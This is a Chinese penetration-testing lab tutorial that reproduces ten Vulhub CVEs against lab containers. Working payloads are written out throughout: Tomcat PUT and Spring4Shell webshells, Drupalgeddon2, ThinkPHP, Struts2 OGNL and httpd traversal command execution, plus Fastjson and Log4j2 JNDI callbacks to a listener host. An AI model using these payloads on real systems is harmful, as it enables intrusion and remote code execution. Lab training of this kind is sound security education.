☰
渗透测试实战从靶场搭建到渗透流程——第 11 篇 · CVE 复现实战:Vulhub 十个高频漏洞逐个打通
2026/10/31 2:06:46 网站建设 项目流程

目 录

一、Vulhub 使用规范

二、Web 服务器类:Tomcat/Drupal/ThinkPHP/Struts2/httpd

2.1 Tomcat PUT(CVE-2017-12615):PUT 必须以 / 结尾

2.2 Drupalgeddon2(CVE-2018-7600):# 必须编码

2.3 ThinkPHP 5.x RCE:必须 -G --data-urlencode

2.4 Struts2 S2-045:curl 退出码 56 是正常的

2.5 httpd 路径穿越→CGI RCE:必须 --path-as-is

三、反序列化类:Spring/Fastjson/Shiro/Log4j2/Jenkins

3.1 Spring4Shell(CVE-2022-22965):写日志落 JSP + 编译延迟

3.2 Fastjson:必须多包一层 {"b":{...}}

3.3 Shiro-550:用 openssl 替代 pycryptodome

3.4 Log4j2(CVE-2021-44228):Solr 回 400 正常

3.5 Jenkins CVE-2018-1000861:未授权入口(待补专属文档)

四、踩坑速查大表

五、验收与清场

一、Vulhub 使用规范

Vulhub 是按 CVE 组织的真实组件漏洞环境(本靶场预置 333 套,10 个常驻)。使用纪律三条:按需启停(vulhub-run.sh,用完即停)、一次最多 2 个环境(宿主 7.5G 内存,Weblogic/Nexus 单个就吃 1.5~2G)、自定义端口防冲突。

# 按需起一个环境(示例:Tomcat PUT)

cd /data/vulhub/tomcat/tomcat8 && docker compose up -d

# 常驻环境直接用(10 个,端口 8801~8810 与 8983):

# 8801 Tomcat PUT 8802 Drupalgeddon2 8803 ThinkPHP5 8804 Struts2 S2-045

# 8805 Spring4Shell 8806 httpd 路径穿越 8807 Fastjson 8808 Shiro-550

# 8810 Jenkins CVE-2018-1000861 8983 Solr Log4j2

十个 CVE 的利用按「症状找答案」:很多利用失败不是 payload 错,而是 HTTP 细节(编码、方法、包结构)没对齐。每小节都附实测坑位。

二、Web 服务器类:Tomcat/Drupal/ThinkPHP/Struts2/httpd

2.1 Tomcat PUT(CVE-2017-12615):PUT 必须以 / 结尾

printf "<%out.println(\"TOMCAT_PUT_OK\");%>" > /tmp/1.jsp

curl -s -X PUT --data-binary @/tmp/1.jsp "http://10.10.10.240:8801/1.jsp/" -o /dev/null -w "%{http_code}\n"

curl -s "http://10.10.10.240:8801/1.jsp/" # TOMCAT_PUT_OK

关键:PUT 的 URL 必须以 /1.jsp/ 结尾——Tomcat 用默认 servlet 的只读校验按路径判断,尾斜杠绕过 JSP 处理器直接写盘。漏掉斜杠返回 404 或 405。

2.2 Drupalgeddon2(CVE-2018-7600):# 必须编码

curl -s "http://10.10.10.240:8802/user/register?element_parents=account/mail/%23value\

\&ajax_form=1\&_wrapper_format=drupal_ajax" \

-d "form_id=user_register_form\&_drupal_ajax=1\&mail[a][#post_render][]=exec\

\&mail[a][#type]=markup\&mail[a][#markup]=id"

# 预期(实测):UID=0(root) —— Drupalgeddon2 直接命令执行

关键:payload 里的 # 是 Drupal AJAX 框架的取值语法,必须 URL 编码为 %23——直接发 # 会被当锚点截断。这是「编码层吞掉 payload」的典型案例。

2.3 ThinkPHP 5.x RCE:必须 -G --data-urlencode

curl -s -G "http://10.10.10.240:8803/index.php?s=/Index/\\think\\app/invokefunction" \

--data-urlencode "function=call_user_func_array" \

--data-urlencode "vars[0]=phpinfo" --data-urlencode "vars[1][]=-1" -o /dev/null -w "%{http_code}\n"

# 200 + phpinfo 页面。反斜杠与 [] 若直接拼 URL 必出错,必须由 curl 编码

实测坑:这条路由的 \\think\\ 反斜杠与 vars[1][] 方括号手工拼 URL 时极易错,统一 curl -G + --data-urlencode。

2.4 Struts2 S2-045:curl 退出码 56 是正常的

printf '%%{(#n=\x27multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#is=(#context.get(#n)).(#is.setLength(0)).(#is.append(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c',#cmd}).start().getInputStream()))}.x' > /tmp/s2.hdr

curl -s -H "Content-Type: $(cat /tmp/s2.hdr)" http://10.10.10.240:8804/ -o /tmp/s2.out; echo exit=$?

cat /tmp/s2.out

# 预期:利用成功后响应体为 uid=0(root),但连接被服务器异常关闭

# curl 退出码 56(recv 失败)不代表失败——看输出文件里有没有命令结果

2.5 httpd 路径穿越→CGI RCE:必须 --path-as-is

curl -s --path-as-is "http://10.10.10.240:8806/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh" \

-d "echo; echo HTTPD_RCE_OK; id"

# 预期(实测):HTTPD_RCE_OK / uid=1(daemon)

# 不加 --path-as-is,curl 会把 /../ 归一化掉,请求根本到不了 cgi

实测坑汇总:httpd 的利用要点是「归一化对抗」——.%2e 是编码后的穿越,客户端不归一化才有效。daemon 权限同样说明「CVE 打通 ≠ root」。

三、反序列化类:Spring/Fastjson/Shiro/Log4j2/Jenkins

3.1 Spring4Shell(CVE-2022-22965):写日志落 JSP + 编译延迟

curl -s "http://10.10.10.240:8805/tomcatwar.jsp?pwd=id&cmd=id" -o /dev/null # 先预热一次日志

curl -s "http://10.10.10.240:8805/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" -o /dev/null

sleep 5 # JSP 首次编译有延迟,别立即判定失败

curl -s "http://10.10.10.240:8805/tomcatwar.jsp?pwd=j&cmd=id"

# 预期(实测):uid=0(root)

收工必做:pattern 是全局日志配置,不清掉会把正常访问日志也写成 JSP 内容,持续污染——收尾时把 pattern 复原(发一次空 pattern 请求)。

3.2 Fastjson:必须多包一层 {"b":{...}}

# JNDI 服务端用补丁版 JNDI 工具(监听 8888,原版 8180 与 Tomcat 冲突)

java -jar JNDI-Injection-8888.jar -i 10.10.10.110 &

curl -s -X POST http://10.10.10.240:8807/json -H "Content-Type: application/json" \

-d '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.10.10.110:8888/Exploit","autoCommit":true}}'

# 返回 500 是正常现象——反序列化在异常抛出前已完成利用,看 JNDI 服务端日志收到连接即成

3.3 Shiro-550:用 openssl 替代 pycryptodome

# 构造 rememberMe Cookie:序列化 payload + AES-CBC 加密(密钥 kPH+bIxk5D2deZiIxcaaaA==)

# Kali 默认无 pycryptodome,openssl 拼 IV+密文更稳(具体脚本见随文附录)

curl -s http://10.10.10.240:8808/ -H "Cookie: rememberMe=<拼接后的base64>" -o /dev/null

# 配合 JRMP 监听收到回连即利用成功

3.4 Log4j2(CVE-2021-44228):Solr 回 400 正常

curl -s "http://10.10.10.240:8983/solr/admin/cores?x=$" -o /dev/null -w "%{http_code}\n"

# 参数任意位置注入 jndi:ldap://10.10.10.110:1389/exp

# Solr 返回 400/异常不等于失败——以 LDAP 服务端是否收到连接为准

3.5 Jenkins CVE-2018-1000861:未授权入口(待补专属文档)

# 8810 未授权入口 + Groovy 编译期绕过 + 命令 hex 编码执行

# 实测已打通(root),但该 CVE 链路较长,本系列后续补充专属实测文档(P0 缺口)

四、踩坑速查大表

症状

原因

解决

PUT 返回 404/405

URL 缺尾斜杠

PUT 到 /1.jsp/ 而非 /1.jsp

Drupal 利用无响应

# 未编码被当锚点

element_parents 路径中 %23value

ThinkPHP 返回 404

反斜杠/方括号被 URL 处理破坏

curl -G + --data-urlencode

S2-045 明明发了却没回显

curl 退出码 56 误导

以 -o 输出文件内容为准

httpd 利用 404

客户端归一化掉 /../

--path-as-is

Fastjson 返回 500

利用后异常抛出

正常现象,看 JNDI 端日志

JNDI 起不来

默认端口 8180 冲突

用 JNDI-8888 补丁版,监听 8888

Spring 收工后页面全坏

日志 pattern 残留

复原 pattern(空值请求一次)

Shiro 加密脚本跑不了

缺 pycryptodome

openssl 拼 IV+密文

权限盘点(实测):9 个打通环境中 8 个 uid=0(root),httpd 为 daemon、Shiro 落地 tomcat——与第 10 篇的结论呼应:CVE 成功 ≠ root,后渗透动作按 uid 决定。

五、验收与清场

验收标准:Tomcat/Drupal/ThinkPHP/S2-045/httpd/Spring 各拿到命令回显(分别核对 TOMCAT_PUT_OK、UID=0(root)、phpinfo、uid=0、HTTPD_RCE_OK、uid=0);Fastjson/Shiro/Log4j2 以监听端收到连接为成功判据;Jenkins 已打通待补文档。

# 清场:按需环境用完即停

cd /data/vulhub/tomcat/tomcat8 && docker compose down -v

# Spring 收尾复原日志 pattern(空 pattern 请求一次)

curl -s "http://10.10.10.240:8805/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=" -o /dev/null

# Kali:杀 JNDI 监听进程(按 PID)

ps aux | grep JNDI | grep -v grep # 找到 PID 后 kill

# 常驻 CVE 容器保持运行(下次课要用),仅确认无残留文件:

curl -s -o /dev/null -w "%{http_code}" http://10.10.10.240:8801/1.jsp/ # 清掉 1.jsp 后应为 404

十洞打通后,所有「单点」都已练过。下一篇收官:把五阶段串成一次完整演练,并学会用测试报告沉淀结果——渗透测试的最后一环不是 exploit,而是报告。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询